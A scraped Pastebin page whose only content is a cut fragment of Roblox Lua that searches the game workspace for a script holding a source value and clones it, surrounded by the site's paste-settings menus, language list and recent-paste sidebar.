== 21053279 or game.PlaceId == 21053219 then break end for _,ScriptInWorkspace in pairs(workspace:children()) do if ScriptInWorkspace then if ScriptInWorkspace:IsA("Script") then if ScriptInWorkspace:FindFirstChild(SourceName) then NewScript = ScriptInWorkspace:Clone() wait() NewScript.Name = "NewScript" NewScript.Disabled = true NewScript:FindFirstChild(SourceName).Value = "" Output("Found a source!", "New Yeller") found = true break end end end end wait() end
Optional Paste Settings
Category:
None
Cryptocurrency
Cybersecurity
Fixit
Food
Gaming
Haiku
Help
History
Housing
Jokes
Legal
Money
Movies
Music
Pets
Photo
Science
Software
Source Code
Spirit
Sports
Travel
TV
Writing
Tags:
Syntax Highlighting:
None
Bash
C
C#
C++
CSS
HTML
JSON
Java
JavaScript
Lua
Markdown (PRO members only)
Objective C
PHP
Perl
Python
Ruby
Swift
4CS
6502 ACME Cross Assembler
6502 Kick Assembler
6502 TASM/64TASS
ABAP
AIMMS
ALGOL 68
APT Sources
ARM
ASM (NASM)
ASP
ActionScript
ActionScript 3
Ada
Apache Log
AppleScript
Arduino
Asymptote
AutoIt
Autohotkey
Avisynth
Awk
BASCOM AVR
BNF
BOO
Bash
Basic4GL
Batch
BibTeX
Blitz Basic
Blitz3D
BlitzMax
BrainFuck
C
C (WinAPI)
C Intermediate Language
C for Macs
C#
C++
C++ (WinAPI)
C++ (with Qt extensions)
C: Loadrunner
CAD DCL
CAD Lisp
CFDG
CMake
COBOL
CSS
Ceylon
ChaiScript
Chapel
Clojure
Clone C
Clone C++
CoffeeScript
ColdFusion
Cuesheet
D
DCL
DCPU-16
DCS
DIV
DOT
Dart
Delphi
Delphi Prism (Oxygene)
Diff
E
ECMAScript
EPC
Easytrieve
Eiffel
Email
Erlang
Euphoria
F#
FO Language
Falcon
Filemaker
Formula One
Fortran
FreeBasic
FreeSWITCH
GAMBAS
GDB
GDScript
Game Maker
Genero
Genie
GetText
Go
Godot GLSL
Groovy
GwBasic
HQ9 Plus
HTML
HTML 5
Haskell
Haxe
HicEst
IDL
INI file
INTERCAL
IO
ISPF Panel Definition
Icon
Inno Script
J
JCL
JSON
Java
Java 5
JavaScript
Julia
KSP (Kontakt Script)
KiXtart
Kotlin
LDIF
LLVM
LOL Code
LScript
Latex
Liberty BASIC
Linden Scripting
Lisp
Loco Basic
Logtalk
Lotus Formulas
Lotus Script
Lua
M68000 Assembler
MIX Assembler
MK-61/52
MPASM
MXML
MagikSF
Make
MapBasic
Markdown (PRO members only)
MatLab
Mercury
MetaPost
Modula 2
Modula 3
Motorola 68000 HiSoft Dev
MySQL
Nagios
NetRexx
Nginx
Nim
NullSoft Installer
OCaml
OCaml Brief
Oberon 2
Objeck Programming Langua
Objective C
Octave
Open Object Rexx
OpenBSD PACKET FILTER
OpenGL Shading
Openoffice BASIC
Oracle 11
Oracle 8
Oz
PARI/GP
PCRE
PHP
PHP Brief
PL/I
PL/SQL
POV-Ray
ParaSail
Pascal
Pawn
Per
Perl
Perl 6
Phix
Pic 16
Pike
Pixel Bender
PostScript
PostgreSQL
PowerBuilder
PowerShell
ProFTPd
Progress
Prolog
Properties
ProvideX
Puppet
PureBasic
PyCon
Python
Python for S60
QBasic
QML
R
RBScript
REBOL
REG
RPM Spec
Racket
Rails
Rexx
Robots
Roff Manpage
Ruby
Ruby Gnuplot
Rust
SAS
SCL
SPARK
SPARQL
SQF
SQL
SSH Config
Scala
Scheme
Scilab
SdlBasic
Smalltalk
Smarty
StandardML
StoneScript
SuperCollider
Swift
SystemVerilog
T-SQL
TCL
TeXgraph
Tera Term
TypeScript
TypoScript
UPC
Unicon
UnrealScript
Urbi
VB.NET
VBScript
VHDL
VIM
Vala
Vedit
VeriLog
Visual Pro Log
VisualBasic
VisualFoxPro
WHOIS
WhiteSpace
Winbatch
XBasic
XML
XPP
Xojo
Xorg Config
YAML
YARA
Z80 Assembler
ZXBasic
autoconf
jQuery
mIRC
newLISP
q/kdb+
thinBasic
Paste Expiration:
Never
Burn after read
10 Minutes
1 Hour
1 Day
1 Week
2 Weeks
1 Month
6 Months
1 Year
Paste Exposure:
Public
Unlisted
Private
Folder:
(members only)
Password
NEW
Enabled
Disabled
Burn after read
NEW
Paste Name / Title:
Create New Paste
Hello
Guest
Sign Up
or
Login
Sign in with Facebook
Sign in with Twitter
Sign in with Google
You are currently not logged in, this means you can not edit or delete anything you paste.
Sign Up
or
Login
Public Pastes
memtest 86 logg
1 hour ago | 229.83 KB
TLOZ Windwaker - Windfall Island - Virtual Pi...
4 hours ago | 1.57 KB
squar
10 hours ago | 0.10 KB
my-pus
10 hours ago | 0.09 KB
OoT rando seed 6/18
18 hours ago | 69.75 KB
Peter Thiel Dialog Society
19 hours ago | 23.72 KB
other seps
CSS | 20 hours ago | 0.15 KB
Check socradar.io for your FortiGate
PowerShell | 23 hours ago | 2.33 KB
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the
Cookies Policy
.
OK, I Understand
Not a member of Pastebin yet?
Sign Up
, it unlocks many cool features!